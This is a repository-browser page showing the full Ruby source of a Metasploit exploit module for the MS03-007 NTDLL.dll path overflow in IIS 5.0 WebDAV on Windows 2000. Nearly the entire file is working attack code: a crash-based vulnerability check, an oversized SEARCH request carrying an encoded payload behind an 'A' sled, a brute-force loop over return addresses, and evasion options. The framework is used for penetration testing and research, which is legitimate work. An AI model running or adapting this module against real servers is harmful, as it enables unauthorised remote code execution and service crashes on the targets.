Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / iis / ms03_007_ntdll_webdav.rb @ master

History | View | Annotate | Download (4.7 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GreatRanking
16

    
17
        include Msf::Exploit::Remote::HttpClient
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
22
                        'Description'    => %q{
23
                                This exploits a buffer overflow in NTDLL.dll on Windows 2000
24
                                through the SEARCH WebDAV method in IIS. This particular
25
                                module only works against Windows 2000. It should have a
26
                                reasonable chance of success against any service pack.
27
                        },
28
                        'Author'         => [ 'hdm' ],
29
                        'License'        => MSF_LICENSE,
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        [ 'CVE', '2003-0109'],
34
                                        [ 'OSVDB', '4467'],
35
                                        [ 'BID', '7116'],
36
                                        [ 'MSB', 'MS03-007']
37
                                ],
38
                        'Privileged'     => false,
39
                        'Payload'        =>
40
                                {
41
                                        'Space'    => 512,
42
                                        'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
43
                                        'StackAdjustment' => -3500,
44
                                },
45
                        'Platform'       => 'win',
46
                        'Targets'        =>
47
                                [
48
                                        [ 'Automatic Brute Force', { } ],
49
                                ],
50
                        'DisclosureDate' => 'May 30 2003',
51
                        'DefaultTarget' => 0))
52

    
53
                register_evasion_options(
54
                        [
55
                                OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),
56

    
57
                                # XXX - ugh, there has to be a better way to remove entries from an
58
                                # enum that overwriting the evalable enum option
59
                                OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
60
                        ], self.class
61
                )
62

    
63
                deregister_options('HTTP::junk_params', 'HTTP::header_folding')
64
        end
65

    
66
        def autofilter
67
                # Common vulnerability scanning tools report port 445/139
68
                # due to how they test for the vulnerability. Remap this
69
                # back to 80 for automated exploitation
70

    
71
                rport = datastore['RPORT'].to_i
72
                if ( rport == 139 or rport == 445 )
73
                        rport = 80
74
                end
75

    
76
                true
77
        end
78

    
79
        def check
80
                url = 'x' * 65535
81
                xml =
82
                        "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
83
                        "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
84

    
85
                response = send_request_cgi({
86
                        'uri'     => '/' + url,
87
                        'ctype'   => 'text/xml',
88
                        'method'  => 'SEARCH',
89
                        'data'    => xml
90
                }, 5)
91

    
92

    
93
                if (response and response.body =~ /Server Error\(exception/)
94
                        return Exploit::CheckCode::Vulnerable
95
                end
96

    
97
                # Did the server stop acceping requests?
98
                begin
99
                        send_request_raw({'uri' => '/'}, 5)
100
                rescue
101
                        return Exploit::CheckCode::Vulnerable
102
                end
103

    
104
                return Exploit::CheckCode::Safe
105
        end
106

    
107
        def exploit
108
                # verify the service is running up front
109
                send_request_raw({'uri' => '/'}, 5)
110

    
111
                # The targets in the most likely order they will work
112
                targets =
113
                [
114
                        # Almost Targetted :)
115
                        "\x4f\x4e", # =SP3
116
                        "\x41\x42", # ~SP0  ~SP2
117
                        "\x41\x43", # ~SP1, ~SP2
118

    
119
                        # Generic Bruteforce
120
                        "\x41\xc1",
121
                        "\x41\xc3",
122
                        "\x41\xc9",
123
                        "\x41\xca",
124
                        "\x41\xcb",
125
                        "\x41\xcc",
126
                        "\x41\xcd",
127
                        "\x41\xce",
128
                        "\x41\xcf",
129
                        "\x41\xd0",
130
                ]
131

    
132
                xml =
133
                        "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
134
                        "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
135

    
136
                if datastore['invalid_search_request'] == true
137
                        xml = rand_text(rand(1024) + 32)
138
                end
139

    
140
                # The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
141
                # This decodes to "inc ecx"
142

    
143
                url = 'A' * 65516
144
                url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
145

    
146
                targets.each { |ret|
147

    
148
                        print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
149
                        url[ 283, 2 ] = ret
150

    
151
                        begin
152
                                send_request_cgi({
153
                                        'uri'     => '/' + url,
154
                                        'ctype'   => 'text/xml',
155
                                        'method'  => 'SEARCH',
156
                                        'data'    => xml
157
                                }, 5)
158
                                handler
159
                        rescue => e
160
                                print_error("Attempt failed: #{e}")
161
                        end
162

    
163
                        1.upto(8) { |i|
164
                                select(nil,nil,nil,0.25)
165
                                return if self.session_created?
166
                        }
167

    
168
                        if !service_running?
169
                                print_error('Giving up, IIS must have completely crashed')
170
                                return
171
                        end
172
                }
173
        end
174

    
175
        # Try connecting to the server up to 20 times, with a two second gap
176
        # This gives the server time to recover after a failed exploit attempt
177
        def service_running?
178
                print_status('Checking if IIS is back up after a failed attempt...')
179
                1.upto(20) {|i|
180
                        begin
181
                                send_request_raw({'uri' => '/'}, 5)
182
                        rescue
183
                                print_error("Connection failed (#{i} of 20)...")
184
                                select(nil,nil,nil,2)
185
                                next
186
                        end
187
                        return true
188
                }
189
                return false
190
        end
191

    
192
end